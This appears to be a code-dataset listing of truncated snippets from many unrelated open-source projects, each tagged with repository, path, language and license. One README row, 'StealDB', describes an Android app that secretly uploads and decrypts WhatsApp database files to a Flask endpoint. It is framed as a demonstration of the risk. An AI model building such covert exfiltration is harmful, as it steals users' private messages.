/**
*
* @param int $qualified
... | DLoBoston/simply.fund | wp-content/plugins/charitable-authorize-net/includes/libraries/anet_php_sdk/vendor/goetas/xsd-reader/src/Schema/Element/ElementSingle.php | PHP | gpl-2.0 | 870 |
// Copyright 2017 Dolphin Emulator Project
// Licensed under GPLv2+
// Refer to the license.txt file included.
#include <QComboBox>
#include <QDialogButtonBox>
#include <QGroupBox>
#include <QHBoxLayout>
#include <QMessageBox>
#include <QPushButton>
#include <QTabWidget>
#include <QVBoxLayout>
#include "DolphinQt2/Co... | Freyaday/dolphin | Source/Core/DolphinQt2/Config/Mapping/MappingWindow.cpp | C++ | gpl-2.0 | 10,097 |
<?php
/**
* Created by PhpStorm.
* User: Angga Ari Wijaya
* Date: 9/12/2015
* Time: 1:04 AM
*/
namespace DecoratorPattern;
class VisaPayment implements PaymentMethod
{
public function getDescription()
{
return "Visa description";
}
} | anggadarkprince/design-pattern | DecoratorPattern/VisaPayment.php | PHP | gpl-2.0 | 262 |
#ifdef CONFIG_COMPAT
#include <linux/compat.h> /* for compat_old_sigset_t */
#endif
#include <linux/sched.h>
#include <linux/kernel.h>
#include <linux/signal.h>
#include <linux/errno.h>
#include <linux/wait.h>
#include <linux/ptrace.h>
#include <linux/tracehook.h>
#include <linux/unistd.h>
#include <linux/mm.h>
#incl... | luckasfb/OT_903D-kernel-2.6.35.7 | kernel/arch/sparc/kernel/signal_64.c | C | gpl-2.0 | 18,267 |
/*
* * Copyright (C) 2009-2011 Ali <[email protected]>
* * Copyright (C) 2012-2013 Sean Davis <[email protected]>
* * Copyright (C) 2012-2013 Simon Steinbeiß <[email protected]
*
* Licensed under the GNU General Public License Version 2
*
* This program is free software; you can redistribute it and/or modify
*... | aquaherd/parole-mpris2 | src/parole-module.h | C | gpl-2.0 | 3,128 |
/**
* @file cp_campaign.h
* @brief Header file for single player campaign control.
*/
/*
Copyright (C) 2002-2010 UFO: Alien Invasion.
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either versio... | chrisglass/ufoai | src/client/cgame/campaign/cp_campaign.h | C | gpl-2.0 | 26,068 |
StealDB
=======
Get any database file - an app to demonstrate how easy it is
maliciously upload and decrypt an android db store
fetch these extensions in /WhatsApp/Databases/*.db
the apk has one hello world activity and the uploading is done by a background
worker. The api endpoint is setup in flask
## Whatsapp DB
... | ianjuma/StealDB | README.md | Markdown | gpl-2.0 | 354 |
/*
* symlink.c
*
* Symlink methods.
*
* Author: Steve Longerbeam <[email protected], or [email protected]>
*
* 2003 (c) MontaVista Software, Inc.
* Copyright 2003 Sony Corporation
* Copyright 2003 Matsushita Electric Industrial Co., Ltd.
*
* This software is being distributed under the terms of the GNU Gener... | robacklin/celinux | fs/pramfs/symlink.c | C | gpl-2.0 | 2,227 |
.pane-bundle-videos {
background: white;
}
.pane-bundle-videos .field-collection-item-field-video {
border-bottom: 1px lightgray solid;
}
.pane-bundle-videos .field-name-field-link-single {
border-top: 10px #231f20 solid;
}
.pane-bundle-videos {
-moz-box-shadow: rgba(0, 0, 0, 0.1) 0 1px 0, rgba(0, 0, 0, 0.1)... | gsb-public/gsb_theme | css/conditionals/fpps/videos.css | CSS | gpl-2.0 | 8,318 |
--犬タウルス
function c91754175.initial_effect(c)
--atk up
local e1=Effect.CreateEffect(c)
e1:SetDescription(aux.Stringid(91754175,0))
e1:SetCategory(CATEGORY_TOGRAVE+CATEGORY_ATKCHANGE)
e1:SetType(EFFECT_TYPE_QUICK_O)
e1:SetCode(EVENT_PRE_DAMAGE_CALCULATE)
e1:SetRange(LOCATION_MZONE)
e1:SetCountLimit(1)
e1:SetCond... | anshkumar/yugioh-glaze | assets/script/c91754175.lua | Lua | gpl-2.0 | 1,532 |
CREATE TABLE IF NOT EXISTS `#__formmaker_sessions` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`form_id` int(20) NOT NULL,
`group_id` int(20) NOT NULL,
`ip` varchar(20) NOT NULL,
`ord_date` datetime NOT NULL,
`ord_last_modified` datetime NOT NULL,
`status` varchar(50) NOT NULL,
`full_name` va... | josepaiva94/CodingBooth | administrator/components/com_formmaker/update.mysql.sql | SQL | gpl-2.0 | 964 |
/*
* ux_text.c - Unix interface, text functions
*
* This file is part of Frotz.
*
* Frotz is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any late... | holzman/frotz | src/curses/ux_text.c | C | gpl-2.0 | 8,410 |
.ds-users-list .modal-body input:nth-child(2), .ds-permission-list .modal-body input:nth-child(2), .ds-group-list .modal-body input:nth-child(2) {
margin-bottom: 1em; }
.ds-users-list tbody tr, .ds-permission-list tbody tr, .ds-group-list tbody tr {
cursor: pointer; }
.ds-users-list #header-area, .ds-permission-lis... | simplusoft/ds4-community | src/modules/administrator/client/css/administrator.css | CSS | gpl-2.0 | 2,201 |
PYTHON = `which python2`
all:
@echo no build make rule yet, just '"make check"'
test-end2end:
@cd tests/ && PYTHON=${PYTHON} ./testsuite
test-unit:
PYTHONPATH=..:$${PYTHONPATH} ${PYTHON} -m pytest `[ ! -z ${COVERAGE} ] && echo "--cov distgen"` tests/unittests/
# Note that flake8 reports both W503 and W504 ATM :-... | devexp-db/distgen | Makefile | Makefile | gpl-2.0 | 911 |
import sys,os
#sys.path.append(os.path.join(os.path.dirname(__file__), '../../..'))
#from ethosgame.ethos.level import Level
from ..level import Level
#from ethosgame.ethos.gameobject import GameObject
from ..gameobject import GameObject
#from ethosgame.ethos.drawnobject import DrawnObject
from ..drawnobject import Dra... | Berulacks/ethosgame | ethos/levels/level0.py | Python | gpl-2.0 | 2,904 |
<?php
/*
Template Name: Nos fromages
*
* This is your custom page template. You can create as many of these as you need.
* Simply name is "page-whatever.php" and in add the "Template Name" title at the
* top, the same way it is here.
*
* When you create your page, you can just select the template and viola, you ... | LSERRE/RichesMonts | wp-content/themes/richesmonts/page-nos-fromages.php | PHP | gpl-2.0 | 2,538 |
hr{margin:20px auto;}
.wrap{margin: 40px 0 0 60px;padding:30px;}
.choice{padding:10px 0;overflow:hidden;}
.choice .span1{float:left;}
.choice .span2{float:left;margin-top:10px;}
.choice input[type=text]{width:300px;margin-left:70px;padding:8px 4px;}
.choice textarea{width: 320px;height: 35px;}
.choice_radio{marg... | lanruyi/blog.lanruyi.net | wp-content/themes/forget/admin/admin.css | CSS | gpl-2.0 | 553 |
<?php
/**
* Sample implementation of the Custom Header feature.
*
* You can add an optional custom header image to header.php like so ...
*
<?php if ( get_header_image() ) : ?>
<a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home">
<img src="<?php header_image(); ?>" width="<?php echo esc_attr( get_cus... | sachyya/portfolio | wp-content/themes/sachyya/inc/custom-header.php | PHP | gpl-2.0 | 2,080 |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (version 1.7.0_55) on Sun Feb 15 12:26:29 PST 2015 -->
<meta http-equiv="Content-Type" content="text/html" charset="utf-8">
<title>org.apache.solr.cli... | annieweng/solr_example | solr-5.0.0/docs/solr-core/org/apache/solr/client/solrj/embedded/package-summary.html | HTML | gpl-2.0 | 7,291 |
<?php
require_once(sfConfig::get('sf_lib_dir').'/filter/base/BaseFormFilterPropel.class.php');
/**
* CatArt filter form base class.
*
* @package sf_sandbox
* @subpackage filter
* @author Your name here
* @version SVN: $Id: sfPropelFormFilterGeneratedTemplate.php 16976 2009-04-04 12:47:44Z fabien $
*/... | luelher/gescob | lib/filter/profit/base/BaseCatArtFormFilter.class.php | PHP | gpl-2.0 | 3,869 |
require File.join(File.dirname(__FILE__), 'test_helper')
class PointTest < Test::Unit::TestCase
context "A point" do
setup do
@point = Pathfinder::Point.new 1, 2
end
should "respond to #x and #y" do
assert_equal 1, @point.x
assert_equal 2, @point.y
end
should "convert to an... | madriska/pathfinder | test/point_test.rb | Ruby | gpl-2.0 | 809 |
package org.iq4j.webcam;
import java.awt.Canvas;
import java.awt.Color;
import java.awt.Dimension;
import java.awt.EventQueue;
import java.awt.Graphics;
import java.awt.Graphics2D;
import java.awt.GraphicsDevice;
import java.awt.GraphicsEnvironment;
import java.awt.Image;
import java.awt.KeyEventDispatcher;
import ja... | anadollu/iq4j-javacv | iq4j-javacv/src/main/java/org/iq4j/webcam/CanvasPanel.java | Java | gpl-2.0 | 10,318 |
from django.conf.urls import url
from . import views
urlpatterns = [
url(r'^$', views.map, name='map'),
url(r'^mapSim', views.mapSim, name='mapSim'),
url(r'^api/getPos', views.getPos, name='getPos'),
url(r'^api/getProjAndPos', views.getProjAndPos, name='getProjAndPos'),
]
| j-herrera/icarus | icarus_site/ISStrace/urls.py | Python | gpl-2.0 | 279 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.